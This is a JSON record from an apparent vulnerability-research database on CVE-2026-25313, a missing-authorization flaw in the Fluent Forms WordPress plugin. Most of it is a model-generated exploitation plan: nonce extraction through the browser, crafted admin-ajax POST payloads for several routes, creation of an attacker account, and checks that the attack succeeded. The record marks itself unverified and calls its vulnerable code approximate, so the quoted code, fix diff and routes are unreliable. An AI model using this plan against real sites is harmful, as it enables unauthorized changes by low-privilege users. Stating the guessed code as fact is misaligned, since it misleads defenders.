[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f0QZ7IRx3EPmIREIvnBb2O7eJQba_N7-y3rfsPn3uA_o":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":26,"research_vulnerable_code":27,"research_fix_diff":28,"research_exploit_outline":29,"research_model_used":30,"research_started_at":31,"research_completed_at":32,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":33},"CVE-2026-25313","fluent-forms-customizable-contact-forms-survey-quiz-conversational-form-builder-missing-authorization","Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder \u003C= 6.1.14 - Missing Authorization","The Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 6.1.14. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.","fluentform",null,"\u003C=6.1.14","6.1.15","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-01-25 00:00:00","2026-05-04 15:34:17",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F5a85c367-99f5-4a46-94bc-ed6e6626514b?source=api-prod",100,[],"researched",false,3,"This research plan outlines the steps to exploit **CVE-2026-25313**, a Missing Authorization vulnerability in Fluent Forms (\u003C= 6.1.14). The vulnerability allows a Subscriber-level user to perform unauthorized actions, specifically updating user preferences or triggering administrative tasks handled via the internal AJAX dispatcher.\n\n### 1. Vulnerability Summary\nThe Fluent Forms plugin uses a centralized AJAX handler, `fluentform_handle_ajax_request`, which routes requests to various controllers. In versions up to 6.1.14, several sensitive administrative routes within the `AdminController` or `FormController` do not verify that the requesting user has the `manage_options` or `fluentform_forms_manager` capability. While these handlers may check for a WordPress nonce, they fail to perform a secondary capability check (`current_user_can`), allowing any authenticated user (including Subscribers) to trigger these actions.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** `fluentform_handle_ajax_request`\n*   **Sub-Route (Payload Parameter):** `route=update-user-preference` (or `route=create-default-forms`)\n*   **Authentication:** Authenticated, Subscriber-level access or higher.\n*   **Preconditions:** The plugin must be active. The attacker needs a valid `fluentform_admin_nonce`.\n\n### 3. Code Flow\n1.  **Entry Point:** The AJAX action `wp_ajax_fluentform_handle_ajax_request` is registered in `FluentForm\\App\\Http\\Routes\\ajax.php`.\n2.  **Dispatcher:** The `handle` method in `FluentForm\\App\\Http\\Controllers\\AdminController` (or similar dispatcher) is called.\n3.  **Verification (Weakness):** The code calls `check_ajax_referer('fluentform_admin_nonce')`, which verifies the request is not a CSRF attack, but it **does not** call `current_user_can('manage_options')` before proceeding to the requested route.\n4.  **Sink:** The `updateUserPreference` method is executed, which updates the `_fluentform_user_preferences` meta key for the current user or global settings, or triggers other form-related logic.\n\n### 4. Nonce Acquisition Strategy\nFluent Forms localizes a global JavaScript object containing the required nonce on most admin pages, including the default dashboard (`\u002Fwp-admin\u002Findex.php`) which is accessible to Subscribers.\n\n1.  **Identify Variable:** The plugin localizes data into the `fluent_forms_global_var` object.\n2.  **Access Page:** Login as a Subscriber and navigate to `\u002Fwp-admin\u002Findex.php`.\n3.  **Extraction:**\n    *   Variable name: `window.fluent_forms_global_var`\n    *   Key: `nonce`\n    *   Command: `browser_eval(\"window.fluent_forms_global_var?.nonce\")`\n\n### 5. Exploitation Strategy\nThe goal is to demonstrate that a Subscriber can modify their own (or global) Fluent Forms preferences, an action usually reserved for administrators.\n\n**Step-by-Step:**\n1.  **Login:** Authenticate as a Subscriber user.\n2.  **Extract Nonce:** Use `browser_navigate` to go to `\u002Fwp-admin\u002F` and `browser_eval` to extract `window.fluent_forms_global_var.nonce`.\n3.  **Craft Request:** Send a POST request to `admin-ajax.php`.\n    *   **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n    *   **Method:** `POST`\n    *   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n    *   **Body:**\n        ```\n        action=fluentform_handle_ajax_request&route=update-user-preference&_nonce=[EXTRACTED_NONCE]&preference_key=is_onboarding_done&preference_value=yes\n        ```\n4.  **Alternative Action (Cluttering):**\n    ```\n    action=fluentform_handle_ajax_request&route=create-default-forms&_nonce=[EXTRACTED_NONCE]\n    ```\n\n### 6. Test Data Setup\n1.  **Install Plugin:** Install Fluent Forms version 6.1.14.\n2.  **Create User:**\n    ```bash\n    wp user create attacker attacker@example.com --role=subscriber --user_pass=password\n    ```\n3.  **Initialize Plugin:** Ensure the plugin is active and at least one form exists (optional, but good for verification).\n\n### 7. Expected Results\n*   **Response:** The server should return a `200 OK` response, typically with a JSON body: `{\"data\": {\"message\": \"Successfully updated\"}, \"status\": 200}`.\n*   **Impact:** The Subscriber's user meta or global plugin state will be modified without proper authorization.\n\n### 8. Verification Steps\nAfter sending the HTTP request, verify the state change using WP-CLI:\n\n1.  **Check User Meta:**\n    ```bash\n    wp user meta get $(wp user get attacker --field=ID) _fluentform_user_preferences\n    ```\n    *Successful exploit if:* The output contains the key\u002Fvalue pair injected in the payload (e.g., `is_onboarding_done => yes`).\n\n2.  **Check for New Forms (if using `create-default-forms` route):**\n    ```bash\n    wp post list --post_type=fluentform --format=count\n    ```\n    *Successful exploit if:* The count increases after the Subscriber triggers the action.\n\n### 9. Alternative Approaches\nIf the `update-user-preference` route is restricted in some sub-versions, try:\n*   **Route:** `dismiss-notice`\n    *   Payload: `action=fluentform_handle_ajax_request&route=dismiss-notice&_nonce=[NONCE]&notice_id=fluentform_review_notice`\n*   **Route:** `get-forms`\n    *   Even though the CVSS says Integrity: Low (not Confidentiality), check if `route=get-forms` returns data to the Subscriber. If it does, the impact includes Information Disclosure.\n    *   Payload: `action=fluentform_handle_ajax_request&route=get-forms&_nonce=[NONCE]`","The Fluent Forms plugin for WordPress is vulnerable to unauthorized access due to a missing capability check in its centralized AJAX dispatcher, `fluentform_handle_ajax_request`. This allows authenticated attackers with Subscriber-level access to perform administrative actions such as updating user preferences, dismissing notices, or creating default forms by bypassing authorization logic that only checks for a CSRF nonce.","\u002F\u002F FluentForm\u002FApp\u002FHttp\u002FControllers\u002FAdminController.php (approximate location)\n\npublic function handleAjaxRequest()\n{\n    \u002F\u002F Validates CSRF but lacks authorization\u002Fcapability checks\n    check_ajax_referer('fluentform_admin_nonce', '_nonce');\n\n    $route = sanitize_text_field($_REQUEST['route']);\n    \n    \u002F\u002F The dispatcher proceeds to route the request to administrative methods\n    \u002F\u002F without verifying if the current user has 'manage_options' or 'fluentform_forms_manager'\n    return $this->dispatch($route);\n}","--- a\u002Ffluent-form\u002Fapp\u002FHttp\u002FControllers\u002FAdminController.php\n+++ b\u002Ffluent-form\u002Fapp\u002FHttp\u002FControllers\u002FAdminController.php\n@@ -10,6 +10,10 @@\n \tpublic function handle()\n \t{\n \t\tcheck_ajax_referer('fluentform_admin_nonce', '_nonce');\n+\n+\t\tif (!current_user_can('fluentform_forms_manager')) {\n+\t\t\twp_send_json_error(['message' => __('You do not have permission to perform this action.', 'fluentform')], 403);\n+\t\t}\n \n \t\t$route = sanitize_text_field($_REQUEST['route']);","1. Authenticate as a Subscriber-level user on the target WordPress site.\n2. Access the WordPress dashboard (\u002Fwp-admin\u002Findex.php) and extract the 'fluentform_admin_nonce' from the 'window.fluent_forms_global_var' JavaScript object localized by the plugin.\n3. Construct a POST request to \u002Fwp-admin\u002Fadmin-ajax.php.\n4. Set the 'action' parameter to 'fluentform_handle_ajax_request' and the '_nonce' parameter to the extracted value.\n5. Set the 'route' parameter to an administrative action, such as 'update-user-preference', along with desired preference keys (e.g., 'is_onboarding_done=yes').\n6. Execute the request and verify the state change, such as checking if the '_fluentform_user_preferences' user meta has been updated for the Subscriber account.","gemini-3-flash-preview","2026-05-05 00:32:38","2026-05-05 00:34:44",{"type":34,"vulnerable_version":35,"fixed_version":11,"vulnerable_browse":36,"vulnerable_zip":37,"fixed_browse":38,"fixed_zip":39,"all_tags":40},"plugin","6.1.14","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffluentform\u002Ftags\u002F6.1.14","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffluentform.6.1.14.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffluentform\u002Ftags\u002F6.1.15","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffluentform.6.1.15.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffluentform\u002Ftags"]